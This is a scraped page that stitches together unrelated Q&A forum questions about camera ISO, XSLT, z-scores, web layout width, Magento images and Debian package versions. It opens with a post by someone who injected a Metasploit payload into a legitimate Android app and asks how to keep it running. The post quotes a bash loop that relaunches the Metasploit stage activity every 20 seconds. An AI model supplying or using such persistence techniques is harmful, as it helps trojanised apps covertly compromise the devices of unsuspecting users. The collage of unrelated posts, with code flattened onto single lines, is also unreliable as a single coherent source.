I injected my payload into an Legit App and the app don’t runs on background. How can i do the same so that it runs regularly at regular intervals

I injected my payload into a legit app and the app doesn’t run in background. How can i do the same so that it runs regularly at regular intervals? This is the original code of payload to run at 20 seconds.

#!/bin/bash while : #do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done 

Why don’t digital cameras have better dynamic ranges?

ISO in digital cameras is a digital amplification of the signal. If your camera’s native ISO is 100, setting the ISO to 400 would make the sensor amplify the brightness 4x.

So if ISO is digital, does that mean cameras artificially limit the dynamic range?

Let’s say you shoot a photo at f/8.0, 1/500th sec, and ISO 200. The shadows are clipped. Now you shoot a photo at f/8.0, 1/500th sec, and ISO 400. The highlights are blown out. But ISO 400 just amplifies the signal, and the highlights are well below the absolute maximum limit of the sensor since they look good at ISO 200. Why does the camera cut off the whites early then?

What’s stopping camera manufacturers from mapping a wider range of sensor values to RGB(0-255)?

XSLT: Remove or don’t get a child node value

I have this source XML:

<Book>    <Title>Harry Potter</Title>    <editorial>M<previous>Sort</previous></editorial>    <languaje>ESP<previous>EU</previous></languaje>    <nationality>ESP</nationality> </Book> 

When I use the function:

<languaje>     <xsl:value-of select="Book/languaje"/> </languaje> 

I obtain the next output: ESPEU and y want to have only ESP.

How can I remove all the values from a specific node <previous>?

Thanks for all

I’m not sure how to answer this and I don’t even know what type of math it is

I’m studying for a finals about probability distribution with Z-table and I got to this part in the example of my lecturer and I have no idea how she arrived to this answer, I’ve been staring at it and scratching my head for a good 30 minutes and still don’t know how she got it.

-2.33 = h-172/8 h = 153.4 

How did she get 153.4?

Why we don’t use wider interfaces on wide screens

Screen are getting wider and wider. Almost every interface uses a fixed width and content is centered in the screen.

I know we can’t read a too long line easily, but there are solutions to fill the extra space : columns, grid, …

It looks like a huge waste of space.

Why it is not becoming a trend to produce wide interfaces, leaving the vertical interface for a horizontal? I only know a few websites that use wide interface.

Are there limitations? Why everybody stick to their 1000px wide website?

Images don’t display on the product detail page

I installed Magento 2.2 on an Ubuntu virtual machine running on Virtual Box on Windows 10. After installing Magento, I installed the sample data with php bin/magento sampledata:deploy and php bin/magento setup:upgrade. I also cleared my cache.

Most pages on my store display correctly, including the images. However, when I go to the product detail page for any product, the place where the product image should be shows the spinner, and the spinner never gets replaced by the product image.

When I look at the browser console, I see the following error

Uncaught SyntaxError: Unexpected token s in JSON at position 112    at JSON.parse (<anonymous>)    at getNodeData (scripts.js:87)    at Array.map (<anonymous>)    at scripts.js:117    at HTMLDocument.apply (main.js:70)    at fire (jquery.js:3232)    at Object.add [as done] (jquery.js:3291)    at jQuery.fn.init.jQuery.fn.ready (jquery.js:3542)    at jQuery.fn.init (jquery.js:2967)    at new jQuery.fn.init (jquery-migrate.js:225) 

My folders all have the writable attribute for the www-data group, and I have installed the gd extension.

How do I get my images to display correctly?

“Don’t break Debian” and bug fixes

Don’t break Debian page is quite clear that always installing the latest versions of third-party software from from places other than official Debian repositories is not a good idea. Although the article tells a lot of things, it comes in essence to the following points:

  • Third-party sites may not be trusted as much as Debian repositories.
  • Newer versions of a software product may contain new bugs.
  • Newer versions haven’t been tested thoroughly with a specific version of Debian.
  • There may be issues between newer versions of a software and other software products installed on Debian machine.

I’m not sure how should I apply the advice in the following situation. I’m deploying a cluster of virtual machine which will be used to host several instances of RabbitMQ. The official Debian repositories for Debian Stretch come with version 3.6.6, which, it appears, was released more than two years ago, with a lot of versions being released since then.

My use of RabbitMQ is very basic, which means that I won’t probably benefit from all the new features which were released. What scares me, however, is that most of the new releases claim to have fixed bugs, which, I suppose, includes security issues.

Therefore, should I ignore the recommendation of Debian documentation and install the software product such as RabbitMQ from the source recommended in the documentation of RabbitMQ, or should I stick with the old version provided through official Debian repositories?

Or there is absolutely no way to answer this question, without checking the entire list of changes and manually evaluating the risks?

Note: although I illustrated my question with RabbitMQ, it applies to most server-side software I have to install, such as PostgreSQL.